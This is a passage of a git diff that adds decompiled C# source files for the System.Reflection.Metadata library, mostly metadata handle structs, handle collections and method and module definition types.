Equals(object? obj) + { + if (obj is MethodDebugInformationHandle methodDebugInformationHandle) + { + return methodDebugInformationHandle._rowId == _rowId; + } + return false; + } + + public bool Equals(MethodDebugInformationHandle other) + { + return _rowId == other._rowId; + } + + public override int GetHashCode() + { + int rowId = _rowId; + return rowId.GetHashCode(); + } + + public static bool operator !=(MethodDebugInformationHandle left, MethodDebugInformationHandle right) + { + return left._rowId != right._rowId; + } + + public MethodDefinitionHandle ToDefinitionHandle() + { + return MethodDefinitionHandle.FromRowId(_rowId); + } +} diff --git a/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/MethodDebugInformationHandleCollection.cs b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/MethodDebugInformationHandleCollection.cs new file mode 100644 index 0000000..5f2c0eb --- /dev/null +++ b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/MethodDebugInformationHandleCollection.cs @@ -0,0 +1,79 @@ +using System.Collections; +using System.Collections.Generic; + +namespace System.Reflection.Metadata; + +public readonly struct MethodDebugInformationHandleCollection : IReadOnlyCollection, IEnumerable, IEnumerable +{ + public struct Enumerator : IEnumerator, IDisposable, IEnumerator + { + private readonly MetadataReader _reader; + + private readonly int _lastRowId; + + private int _currentRowId; + + private const int EnumEnded = 16777216; + + public MethodDebugInformationHandle Current => MethodDebugInformationHandle.FromRowId((int)((long)_currentRowId & 0xFFFFFFL)); + + object IEnumerator.Current => Current; + + internal Enumerator(MetadataReader reader, int firstRowId, int lastRowId) + { + _reader = reader; + _lastRowId = lastRowId; + _currentRowId = firstRowId - 1; + } + + public bool MoveNext() + { + if (_currentRowId >= _lastRowId) + { + _currentRowId = 16777216; + return false; + } + _currentRowId++; + return true; + } + + void IEnumerator.Reset() + { + throw new NotSupportedException(); + } + + void IDisposable.Dispose() + { + } + } + + private readonly MetadataReader _reader; + + private readonly int _firstRowId; + + private readonly int _lastRowId; + + public int Count => _lastRowId - _firstRowId + 1; + + internal MethodDebugInformationHandleCollection(MetadataReader reader) + { + _reader = reader; + _firstRowId = 1; + _lastRowId = reader.MethodDebugInformationTable.NumberOfRows; + } + + public Enumerator GetEnumerator() + { + return new Enumerator(_reader, _firstRowId, _lastRowId); + } + + IEnumerator IEnumerable.GetEnumerator() + { + return GetEnumerator(); + } + + IEnumerator IEnumerable.GetEnumerator() + { + return GetEnumerator(); + } +} diff --git a/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/MethodDefinition.cs b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/MethodDefinition.cs new file mode 100644 index 0000000..67b81f2 --- /dev/null +++ b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/MethodDefinition.cs @@ -0,0 +1,181 @@ +using System.Reflection.Metadata.Ecma335; + +namespace System.Reflection.Metadata; + +public readonly struct MethodDefinition +{ + private readonly MetadataReader _reader; + + private readonly uint _treatmentAndRowId; + + private int RowId => (int)(_treatmentAndRowId & 0xFFFFFF); + + private MethodDefTreatment Treatment => (MethodDefTreatment)(_treatmentAndRowId >> 24); + + private MethodDefinitionHandle Handle => MethodDefinitionHandle.FromRowId(RowId); + + public StringHandle Name + { + get + { + if (Treatment == MethodDefTreatment.None) + { + return _reader.MethodDefTable.GetName(Handle); + } + return GetProjectedName(); + } + } + + public BlobHandle Signature + { + get + { + if (Treatment == MethodDefTreatment.None) + { + return _reader.MethodDefTable.GetSignature(Handle); + } + return GetProjectedSignature(); + } + } + + public int RelativeVirtualAddress + { + get + { + if (Treatment == MethodDefTreatment.None) + { + return _reader.MethodDefTable.GetRva(Handle); + } + return GetProjectedRelativeVirtualAddress(); + } + } + + public MethodAttributes Attributes + { + get + { + if (Treatment == MethodDefTreatment.None) + { + return _reader.MethodDefTable.GetFlags(Handle); + } + return GetProjectedFlags(); + } + } + + public MethodImplAttributes ImplAttributes + { + get + { + if (Treatment == MethodDefTreatment.None) + { + return _reader.MethodDefTable.GetImplFlags(Handle); + } + return GetProjectedImplFlags(); + } + } + + internal MethodDefinition(MetadataReader reader, uint treatmentAndRowId) + { + _reader = reader; + _treatmentAndRowId = treatmentAndRowId; + } + + public MethodSignature DecodeSignature(ISignatureTypeProvider provider, TGenericContext genericContext) + { + SignatureDecoder signatureDecoder = new SignatureDecoder(provider, _reader, genericContext); + BlobReader blobReader = _reader.GetBlobReader(Signature); + return signatureDecoder.DecodeMethodSignature(ref blobReader); + } + + public TypeDefinitionHandle GetDeclaringType() + { + return _reader.GetDeclaringType(Handle); + } + + public ParameterHandleCollection GetParameters() + { + return new ParameterHandleCollection(_reader, Handle); + } + + public GenericParameterHandleCollection GetGenericParameters() + { + return _reader.GenericParamTable.FindGenericParametersForMethod(Handle); + } + + public MethodImport GetImport() + { + int num = _reader.ImplMapTable.FindImplForMethod(Handle); + if (num == 0) + { + return default(MethodImport); + } + return _reader.ImplMapTable.GetImport(num); + } + + public CustomAttributeHandleCollection GetCustomAttributes() + { + return new CustomAttributeHandleCollection(_reader, Handle); + } + + public DeclarativeSecurityAttributeHandleCollection GetDeclarativeSecurityAttributes() + { + return new DeclarativeSecurityAttributeHandleCollection(_reader, Handle); + } + + private StringHandle GetProjectedName() + { + if ((Treatment & MethodDefTreatment.KindMask) == MethodDefTreatment.DisposeMethod) + { + return StringHandle.FromVirtualIndex(StringHandle.VirtualIndex.Dispose); + } + return _reader.MethodDefTable.GetName(Handle); + } + + private MethodAttributes GetProjectedFlags() + { + MethodAttributes methodAttributes = _reader.MethodDefTable.GetFlags(Handle); + MethodDefTreatment treatment = Treatment; + if ((treatment & MethodDefTreatment.KindMask) == MethodDefTreatment.HiddenInterfaceImplementation) + { + methodAttributes = (methodAttributes & ~MethodAttributes.MemberAccessMask) | MethodAttributes.Private; + } + if ((treatment & MethodDefTreatment.MarkAbstractFlag) != MethodDefTreatment.None) + { + methodAttributes |= MethodAttributes.Abstract; + } + if ((treatment & MethodDefTreatment.MarkPublicFlag) != MethodDefTreatment.None) + { + methodAttributes = (methodAttributes & ~MethodAttributes.MemberAccessMask) | MethodAttributes.Public; + } + return methodAttributes | MethodAttributes.HideBySig; + } + + private MethodImplAttributes GetProjectedImplFlags() + { + MethodImplAttributes methodImplAttributes = _reader.MethodDefTable.GetImplFlags(Handle); + switch (Treatment & MethodDefTreatment.KindMask) + { + case MethodDefTreatment.DelegateMethod: + methodImplAttributes |= MethodImplAttributes.CodeTypeMask; + break; + case MethodDefTreatment.Other: + case MethodDefTreatment.AttributeMethod: + case MethodDefTreatment.InterfaceMethod: + case MethodDefTreatment.HiddenInterfaceImplementation: + case MethodDefTreatment.DisposeMethod: + methodImplAttributes |= (MethodImplAttributes)4099; + break; + } + return methodImplAttributes; + } + + private BlobHandle GetProjectedSignature() + { + return _reader.MethodDefTable.GetSignature(Handle); + } + + private static int GetProjectedRelativeVirtualAddress() + { + return 0; + } +} diff --git a/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/MethodDefinitionHandle.cs b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/MethodDefinitionHandle.cs new file mode 100644 index 0000000..1d97204 --- /dev/null +++ b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/MethodDefinitionHandle.cs @@ -0,0 +1,87 @@ +namespace System.Reflection.Metadata; + +public readonly struct MethodDefinitionHandle : IEquatable +{ + private const uint tokenType = 100663296u; + + private const byte tokenTypeSmall = 6; + + private readonly int _rowId; + + public bool IsNil => RowId == 0; + + internal int RowId => _rowId; + + private MethodDefinitionHandle(int rowId) + { + _rowId = rowId; + } + + internal static MethodDefinitionHandle FromRowId(int rowId) + { + return new MethodDefinitionHandle(rowId); + } + + public static implicit operator Handle(MethodDefinitionHandle handle) + { + return new Handle(6, handle._rowId); + } + + public static implicit operator EntityHandle(MethodDefinitionHandle handle) + { + return new EntityHandle((uint)(0x6000000uL | (ulong)handle._rowId)); + } + + public static explicit operator MethodDefinitionHandle(Handle handle) + { + if (handle.VType != 6) + { + Throw.InvalidCast(); + } + return new MethodDefinitionHandle(handle.RowId); + } + + public static explicit operator MethodDefinitionHandle(EntityHandle handle) + { + if (handle.VType != 100663296) + { + Throw.InvalidCast(); + } + return new MethodDefinitionHandle(handle.RowId); + } + + public static bool operator ==(MethodDefinitionHandle left, MethodDefinitionHandle right) + { + return left._rowId == right._rowId; + } + + public override bool Equals(object? obj) + { + if (obj is MethodDefinitionHandle) + { + return ((MethodDefinitionHandle)obj)._rowId == _rowId; + } + return false; + } + + public bool Equals(MethodDefinitionHandle other) + { + return _rowId == other._rowId; + } + + public override int GetHashCode() + { + int rowId = _rowId; + return rowId.GetHashCode(); + } + + public static bool operator !=(MethodDefinitionHandle left, MethodDefinitionHandle right) + { + return left._rowId != right._rowId; + } + + public MethodDebugInformationHandle ToDebugInformationHandle() + { + return MethodDebugInformationHandle.FromRowId(_rowId); + } +} diff --git a/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/MethodDefinitionHandleCollection.cs b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/MethodDefinitionHandleCollection.cs new file mode 100644 index 0000000..5129c0e --- /dev/null +++ b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/MethodDefinitionHandleCollection.cs @@ -0,0 +1,100 @@ +using System.Collections; +using System.Collections.Generic; + +namespace System.Reflection.Metadata; + +public readonly struct MethodDefinitionHandleCollection : IReadOnlyCollection, IEnumerable, IEnumerable +{ + public struct Enumerator : IEnumerator, IDisposable, IEnumerator + { + private readonly MetadataReader _reader; + + private readonly int _lastRowId; + + private int _currentRowId; + + private const int EnumEnded = 16777216; + + public MethodDefinitionHandle Current + { + get + { + if (_reader.UseMethodPtrTable) + { + return GetCurrentMethodIndirect(); + } + return MethodDefinitionHandle.FromRowId((int)((long)_currentRowId & 0xFFFFFFL)); + } + } + + object IEnumerator.Current => Current; + + internal Enumerator(MetadataReader reader, int firstRowId, int lastRowId) + { + _reader = reader; + _currentRowId = firstRowId - 1; + _lastRowId = lastRowId; + } + + private MethodDefinitionHandle GetCurrentMethodIndirect() + { + return _reader.MethodPtrTable.GetMethodFor(_currentRowId & 0xFFFFFF); + } + + public bool MoveNext() + { + if (_currentRowId >= _lastRowId) + { + _currentRowId = 16777216; + return false; + } + _currentRowId++; + return true; + } + + void IEnumerator.Reset() + { + throw new NotSupportedException(); + } + + void IDisposable.Dispose() + { + } + } + + private readonly MetadataReader _reader; + + private readonly int _firstRowId; + + private readonly int _lastRowId; + + public int Count => _lastRowId - _firstRowId + 1; + + internal MethodDefinitionHandleCollection(MetadataReader reader) + { + _reader = reader; + _firstRowId = 1; + _lastRowId = reader.MethodDefTable.NumberOfRows; + } + + internal MethodDefinitionHandleCollection(MetadataReader reader, TypeDefinitionHandle containingType) + { + _reader = reader; + reader.GetMethodRange(containingType, out _firstRowId, out _lastRowId); + } + + public Enumerator GetEnumerator() + { + return new Enumerator(_reader, _firstRowId, _lastRowId); + } + + IEnumerator IEnumerable.GetEnumerator() + { + return GetEnumerator(); + } + + IEnumerator IEnumerable.GetEnumerator() + { + return GetEnumerator(); + } +} diff --git a/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/MethodImplementation.cs b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/MethodImplementation.cs new file mode 100644 index 0000000..00ae7f1 --- /dev/null +++ b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/MethodImplementation.cs @@ -0,0 +1,27 @@ +namespace System.Reflection.Metadata; + +public readonly struct MethodImplementation +{ + private readonly MetadataReader _reader; + + private readonly int _rowId; + + private MethodImplementationHandle Handle => MethodImplementationHandle.FromRowId(_rowId); + + public TypeDefinitionHandle Type => _reader.MethodImplTable.GetClass(Handle); + + public EntityHandle MethodBody => _reader.MethodImplTable.GetMethodBody(Handle); + + public EntityHandle MethodDeclaration => _reader.MethodImplTable.GetMethodDeclaration(Handle); + + internal MethodImplementation(MetadataReader reader, MethodImplementationHandle handle) + { + _reader = reader; + _rowId = handle.RowId; + } + + public CustomAttributeHandleCollection GetCustomAttributes() + { + return new CustomAttributeHandleCollection(_reader, Handle); + } +} diff --git a/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/MethodImplementationHandle.cs b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/MethodImplementationHandle.cs new file mode 100644 index 0000000..b87dd08 --- /dev/null +++ b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/MethodImplementationHandle.cs @@ -0,0 +1,82 @@ +namespace System.Reflection.Metadata; + +public readonly struct MethodImplementationHandle : IEquatable +{ + private const uint tokenType = 419430400u; + + private const byte tokenTypeSmall = 25; + + private readonly int _rowId; + + public bool IsNil => RowId == 0; + + internal int RowId => _rowId; + + private MethodImplementationHandle(int rowId) + { + _rowId = rowId; + } + + internal static MethodImplementationHandle FromRowId(int rowId) + { + return new MethodImplementationHandle(rowId); + } + + public static implicit operator Handle(MethodImplementationHandle handle) + { + return new Handle(25, handle._rowId); + } + + public static implicit operator EntityHandle(MethodImplementationHandle handle) + { + return new EntityHandle((uint)(0x19000000uL | (ulong)handle._rowId)); + } + + public static explicit operator MethodImplementationHandle(Handle handle) + { + if (handle.VType != 25) + { + Throw.InvalidCast(); + } + return new MethodImplementationHandle(handle.RowId); + } + + public static explicit operator MethodImplementationHandle(EntityHandle handle) + { + if (handle.VType != 419430400) + { + Throw.InvalidCast(); + } + return new MethodImplementationHandle(handle.RowId); + } + + public static bool operator ==(MethodImplementationHandle left, MethodImplementationHandle right) + { + return left._rowId == right._rowId; + } + + public override bool Equals(object? obj) + { + if (obj is MethodImplementationHandle) + { + return ((MethodImplementationHandle)obj)._rowId == _rowId; + } + return false; + } + + public bool Equals(MethodImplementationHandle other) + { + return _rowId == other._rowId; + } + + public override int GetHashCode() + { + int rowId = _rowId; + return rowId.GetHashCode(); + } + + public static bool operator !=(MethodImplementationHandle left, MethodImplementationHandle right) + { + return left._rowId != right._rowId; + } +} diff --git a/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/MethodImplementationHandleCollection.cs b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/MethodImplementationHandleCollection.cs new file mode 100644 index 0000000..259eb55 --- /dev/null +++ b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/MethodImplementationHandleCollection.cs @@ -0,0 +1,80 @@ +using System.Collections; +using System.Collections.Generic; + +namespace System.Reflection.Metadata; + +public readonly struct MethodImplementationHandleCollection : IReadOnlyCollection, IEnumerable, IEnumerable +{ + public struct Enumerator : IEnumerator, IDisposable, IEnumerator + { + private readonly int _lastRowId; + + private int _currentRowId; + + private const int EnumEnded = 16777216; + + public MethodImplementationHandle Current => MethodImplementationHandle.FromRowId((int)((long)_currentRowId & 0xFFFFFFL)); + + object IEnumerator.Current => Current; + + internal Enumerator(int firstRowId, int lastRowId) + { + _currentRowId = firstRowId - 1; + _lastRowId = lastRowId; + } + + public bool MoveNext() + { + if (_currentRowId >= _lastRowId) + { + _currentRowId = 16777216; + return false; + } + _currentRowId++; + return true; + } + + void IEnumerator.Reset() + { + throw new NotSupportedException(); + } + + void IDisposable.Dispose() + { + } + } + + private readonly int _firstRowId; + + private readonly int _lastRowId; + + public int Count => _lastRowId - _firstRowId + 1; + + internal MethodImplementationHandleCollection(MetadataReader reader, TypeDefinitionHandle containingType) + { + if (containingType.IsNil) + { + _firstRowId = 1; + _lastRowId = reader.MethodImplTable.NumberOfRows; + } + else + { + reader.MethodImplTable.GetMethodImplRange(containingType, out _firstRowId, out _lastRowId); + } + } + + public Enumerator GetEnumerator() + { + return new Enumerator(_firstRowId, _lastRowId); + } + + IEnumerator IEnumerable.GetEnumerator() + { + return GetEnumerator(); + } + + IEnumerator IEnumerable.GetEnumerator() + { + return GetEnumerator(); + } +} diff --git a/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/MethodImport.cs b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/MethodImport.cs new file mode 100644 index 0000000..9e81453 --- /dev/null +++ b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/MethodImport.cs @@ -0,0 +1,23 @@ +namespace System.Reflection.Metadata; + +public readonly struct MethodImport +{ + private readonly MethodImportAttributes _attributes; + + private readonly StringHandle _name; + + private readonly ModuleReferenceHandle _module; + + public MethodImportAttributes Attributes => _attributes; + + public StringHandle Name => _name; + + public ModuleReferenceHandle Module => _module; + + internal MethodImport(MethodImportAttributes attributes, StringHandle name, ModuleReferenceHandle module) + { + _attributes = attributes; + _name = name; + _module = module; + } +} diff --git a/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/MethodSignature.cs b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/MethodSignature.cs new file mode 100644 index 0000000..ec8aa84 --- /dev/null +++ b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/MethodSignature.cs @@ -0,0 +1,27 @@ +using System.Collections.Immutable; + +namespace System.Reflection.Metadata; + +public readonly struct MethodSignature +{ + public SignatureHeader Header { get; } + + public TType ReturnType { get; } + + public int RequiredParameterCount { get; } + + public int GenericParameterCount { get; } + + public ImmutableArray ParameterTypes { get; } + + public MethodSignature(SignatureHeader header, TType returnType, int requiredParameterCount, int genericParameterCount, ImmutableArray parameterTypes) + { + //IL_001e: Unknown result type (might be due to invalid IL or missing references) + //IL_0020: Unknown result type (might be due to invalid IL or missing references) + Header = header; + ReturnType = returnType; + GenericParameterCount = genericParameterCount; + RequiredParameterCount = requiredParameterCount; + ParameterTypes = parameterTypes; + } +} diff --git a/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/MethodSpecification.cs b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/MethodSpecification.cs new file mode 100644 index 0000000..e68dc82 --- /dev/null +++ b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/MethodSpecification.cs @@ -0,0 +1,36 @@ +using System.Collections.Immutable; +using System.Reflection.Metadata.Ecma335; + +namespace System.Reflection.Metadata; + +public readonly struct MethodSpecification +{ + private readonly MetadataReader _reader; + + private readonly int _rowId; + + private MethodSpecificationHandle Handle => MethodSpecificationHandle.FromRowId(_rowId); + + public EntityHandle Method => _reader.MethodSpecTable.GetMethod(Handle); + + public BlobHandle Signature => _reader.MethodSpecTable.GetInstantiation(Handle); + + internal MethodSpecification(MetadataReader reader, MethodSpecificationHandle handle) + { + _reader = reader; + _rowId = handle.RowId; + } + + public ImmutableArray DecodeSignature(ISignatureTypeProvider provider, TGenericContext genericContext) + { + //IL_0025: Unknown result type (might be due to invalid IL or missing references) + SignatureDecoder signatureDecoder = new SignatureDecoder(provider, _reader, genericContext); + BlobReader blobReader = _reader.GetBlobReader(Signature); + return signatureDecoder.DecodeMethodSpecificationSignature(ref blobReader); + } + + public CustomAttributeHandleCollection GetCustomAttributes() + { + return new CustomAttributeHandleCollection(_reader, Handle); + } +} diff --git a/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/MethodSpecificationHandle.cs b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/MethodSpecificationHandle.cs new file mode 100644 index 0000000..d8018b3 --- /dev/null +++ b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/MethodSpecificationHandle.cs @@ -0,0 +1,82 @@ +namespace System.Reflection.Metadata; + +public readonly struct MethodSpecificationHandle : IEquatable +{ + private const uint tokenType = 721420288u; + + private const byte tokenTypeSmall = 43; + + private readonly int _rowId; + + public bool IsNil => RowId == 0; + + internal int RowId => _rowId; + + private MethodSpecificationHandle(int rowId) + { + _rowId = rowId; + } + + internal static MethodSpecificationHandle FromRowId(int rowId) + { + return new MethodSpecificationHandle(rowId); + } + + public static implicit operator Handle(MethodSpecificationHandle handle) + { + return new Handle(43, handle._rowId); + } + + public static implicit operator EntityHandle(MethodSpecificationHandle handle) + { + return new EntityHandle((uint)(0x2B000000uL | (ulong)handle._rowId)); + } + + public static explicit operator MethodSpecificationHandle(Handle handle) + { + if (handle.VType != 43) + { + Throw.InvalidCast(); + } + return new MethodSpecificationHandle(handle.RowId); + } + + public static explicit operator MethodSpecificationHandle(EntityHandle handle) + { + if (handle.VType != 721420288) + { + Throw.InvalidCast(); + } + return new MethodSpecificationHandle(handle.RowId); + } + + public static bool operator ==(MethodSpecificationHandle left, MethodSpecificationHandle right) + { + return left._rowId == right._rowId; + } + + public override bool Equals(object? obj) + { + if (obj is MethodSpecificationHandle) + { + return ((MethodSpecificationHandle)obj)._rowId == _rowId; + } + return false; + } + + public bool Equals(MethodSpecificationHandle other) + { + return _rowId == other._rowId; + } + + public override int GetHashCode() + { + int rowId = _rowId; + return rowId.GetHashCode(); + } + + public static bool operator !=(MethodSpecificationHandle left, MethodSpecificationHandle right) + { + return left._rowId != right._rowId; + } +} diff --git a/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/ModuleDefinition.cs b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/ModuleDefinition.cs new file mode 100644 index 0000000..0309f1c --- /dev/null +++ b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/ModuleDefinition.cs @@ -0,0 +1,26 @@ +namespace System.Reflection.Metadata; + +public readonly struct ModuleDefinition +{ + private readonly MetadataReader _reader; + + public int Generation => _reader.ModuleTable.GetGeneration(); + + public StringHandle Name => _reader.ModuleTable.GetName(); + + public GuidHandle Mvid => _reader.ModuleTable.GetMvid(); + + public GuidHandle GenerationId => _reader.ModuleTable.GetEncId(); + + public GuidHandle BaseGenerationId => _reader.ModuleTable.GetEncBaseId(); + + internal ModuleDefinition(MetadataReader reader) + { + _reader = reader; + } + + public CustomAttributeHandleCollection GetCustomAttributes() + { + return new CustomAttributeHandleCollection(_reader, EntityHandle.ModuleDefinition); + } +} diff --git a/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/ModuleDefinitionHandle.cs b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/ModuleDefinitionHandle.cs new file mode 100644 index 0000000..2483cea --- /dev/null +++ b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/ModuleDefinitionHandle.cs @@ -0,0 +1,82 @@ +namespace System.Reflection.Metadata; + +public readonly struct ModuleDefinitionHandle : IEquatable +{ + private const uint tokenType = 0u; + + private const byte tokenTypeSmall = 0; + + private readonly int _rowId; + + public bool IsNil => RowId == 0; + + internal int RowId => _rowId; + + internal ModuleDefinitionHandle(int rowId) + { + _rowId = rowId; + } + + internal static ModuleDefinitionHandle FromRowId(int rowId) + { + return new ModuleDefinitionHandle(rowId); + } + + public static implicit operator Handle(ModuleDefinitionHandle handle) + { + return new Handle(0, handle._rowId); + } + + public static implicit operator EntityHandle(ModuleDefinitionHandle handle) + { + return new EntityHandle((uint)(0uL | (ulong)handle._rowId)); + } + + public static explicit operator ModuleDefinitionHandle(Handle handle) + { + if (handle.VType != 0) + { + Throw.InvalidCast(); + } + return new ModuleDefinitionHandle(handle.RowId); + } + + public static explicit operator ModuleDefinitionHandle(EntityHandle handle) + { + if (handle.VType != 0) + { + Throw.InvalidCast(); + } + return new ModuleDefinitionHandle(handle.RowId); + } + + public static bool operator ==(ModuleDefinitionHandle left, ModuleDefinitionHandle right) + { + return left._rowId == right._rowId; + } + + public override bool Equals(object? obj) + { + if (obj is ModuleDefinitionHandle moduleDefinitionHandle) + { + return moduleDefinitionHandle._rowId == _rowId; + } + return false; + } + + public bool Equals(ModuleDefinitionHandle other) + { + return _rowId == other._rowId; + } + + public override int GetHashCode() + { + int rowId = _rowId; + return rowId.GetHashCode(); + } + + public static bool operator !=(ModuleDefinitionHandle left, ModuleDefinitionHandle right) + { + return left._rowId != right._rowId; + } +} diff --git a/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/ModuleReference.cs b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/ModuleReference.cs new file mode 100644 index 0000000..62bf984 --- /dev/null +++ b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/ModuleReference.cs @@ -0,0 +1,23 @@ +namespace System.Reflection.Metadata; + +public readonly struct ModuleReference +{ + private readonly MetadataReader _reader; + + private readonly int _rowId; + + private ModuleReferenceHandle Handle => ModuleReferenceHandle.FromRowId(_rowId); + + public StringHandle Name => _reader.ModuleRefTable.GetName(Handle); + + internal ModuleReference(MetadataReader reader, ModuleReferenceHandle handle) + { + _reader = reader; + _rowId = handle.RowId; + } + + public CustomAttributeHandleCollection GetCustomAttributes() + { + return new CustomAttributeHandleCollection(_reader, Handle); + } +} diff --git a/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/ModuleReferenceHandle.cs b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/ModuleReferenceHandle.cs new file mode 100644 index 0000000..97a8f43 --- /dev/null +++ b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/ModuleReferenceHandle.cs @@ -0,0 +1,82 @@ +namespace System.Reflection.Metadata; + +public readonly struct ModuleReferenceHandle : IEquatable +{ + private const uint tokenType = 436207616u; + + private const byte tokenTypeSmall = 26; + + private readonly int _rowId; + + public bool IsNil => RowId == 0; + + internal int RowId => _rowId; + + private ModuleReferenceHandle(int rowId) + { + _rowId = rowId; + } + + internal static ModuleReferenceHandle FromRowId(int rowId) + { + return new ModuleReferenceHandle(rowId); + } + + public static implicit operator Handle(ModuleReferenceHandle handle) + { + return new Handle(26, handle._rowId); + } + + public static implicit operator EntityHandle(ModuleReferenceHandle handle) + { + return new EntityHandle((uint)(0x1A000000uL | (ulong)handle._rowId)); + } + + public static explicit operator ModuleReferenceHandle(Handle handle) + { + if (handle.VType != 26) + { + Throw.InvalidCast(); + } + return new ModuleReferenceHandle(handle.RowId); + } + + public static explicit operator ModuleReferenceHandle(EntityHandle handle) + { + if (handle.VType != 436207616) + { + Throw.InvalidCast(); + } + return new ModuleReferenceHandle(handle.RowId); + } + + public static bool operator ==(ModuleReferenceHandle left, ModuleReferenceHandle right) + { + return left._rowId == right._rowId; + } + + public override bool Equals(object? obj) + { + if (obj is ModuleReferenceHandle) + { + return ((ModuleReferenceHandle)obj)._rowId == _rowId; + } + return false; + } + + public bool Equals(ModuleReferenceHandle other) + { + return _rowId == other._rowId; + } + + public override int GetHashCode() + { + int rowId = _rowId; + return rowId.GetHashCode(); + } + + public static bool operator !=(ModuleReferenceHandle left, ModuleReferenceHandle right) + { + return left._rowId != right._rowId; + } +} diff --git a/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/NamespaceDefinition.cs b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/NamespaceDefinition.cs new file mode 100644 index 0000000..a6ba513 --- /dev/null +++ b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/NamespaceDefinition.cs @@ -0,0 +1,24 @@ +using System.Collections.Immutable; +using System.Reflection.Metadata.Ecma335; + +namespace System.Reflection.Metadata; + +public struct NamespaceDefinition +{ + private readonly NamespaceData _data; + + public StringHandle Name => _data.Name; + + public NamespaceDefinitionHandle Parent => _data.Parent; + + public ImmutableArray NamespaceDefinitions => _data.NamespaceDefinitions; + + public ImmutableArray TypeDefinitions => _data.TypeDefinitions; + + public ImmutableArray ExportedTypes => _data.ExportedTypes; + + internal NamespaceDefinition(NamespaceData data) + { + _data = data; + } +} diff --git a/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/NamespaceDefinitionHandle.cs b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/NamespaceDefinitionHandle.cs new file mode 100644 index 0000000..381a6fb --- /dev/null +++ b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/NamespaceDefinitionHandle.cs @@ -0,0 +1,87 @@ +using System.Diagnostics.CodeAnalysis; +using System.Reflection.Metadata.Ecma335; + +namespace System.Reflection.Metadata; + +public readonly struct NamespaceDefinitionHandle : IEquatable +{ + private readonly uint _value; + + public bool IsNil => _value == 0; + + internal bool IsVirtual => (_value & 0x80000000u) != 0; + + internal bool HasFullName => !IsVirtual; + + private NamespaceDefinitionHandle(uint value) + { + _value = value; + } + + internal static NamespaceDefinitionHandle FromFullNameOffset(int stringHeapOffset) + { + return new NamespaceDefinitionHandle((uint)stringHeapOffset); + } + + internal static NamespaceDefinitionHandle FromVirtualIndex(uint virtualIndex) + { + if (!HeapHandleType.IsValidHeapOffset(virtualIndex)) + { + Throw.TooManySubnamespaces(); + } + return new NamespaceDefinitionHandle(0x80000000u | virtualIndex); + } + + public static implicit operator Handle(NamespaceDefinitionHandle handle) + { + return new Handle((byte)(((handle._value & 0x80000000u) >> 24) | 0x7C), (int)(handle._value & 0x1FFFFFFF)); + } + + public static explicit operator NamespaceDefinitionHandle(Handle handle) + { + if ((handle.VType & 0x7F) != 124) + { + Throw.InvalidCast(); + } + return new NamespaceDefinitionHandle((uint)(((handle.VType & 0x80) << 24) | handle.Offset)); + } + + internal int GetHeapOffset() + { + return (int)(_value & 0x1FFFFFFF); + } + + internal StringHandle GetFullName() + { + return StringHandle.FromOffset(GetHeapOffset()); + } + + public override bool Equals([NotNullWhen(true)] object? obj) + { + if (obj is NamespaceDefinitionHandle other) + { + return Equals(other); + } + return false; + } + + public bool Equals(NamespaceDefinitionHandle other) + { + return _value == other._value; + } + + public override int GetHashCode() + { + return (int)_value; + } + + public static bool operator ==(NamespaceDefinitionHandle left, NamespaceDefinitionHandle right) + { + return left.Equals(right); + } + + public static bool operator !=(NamespaceDefinitionHandle left, NamespaceDefinitionHandle right) + { + return !left.Equals(right); + } +} diff --git a/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/PEReaderExtensions.cs b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/PEReaderExtensions.cs new file mode 100644 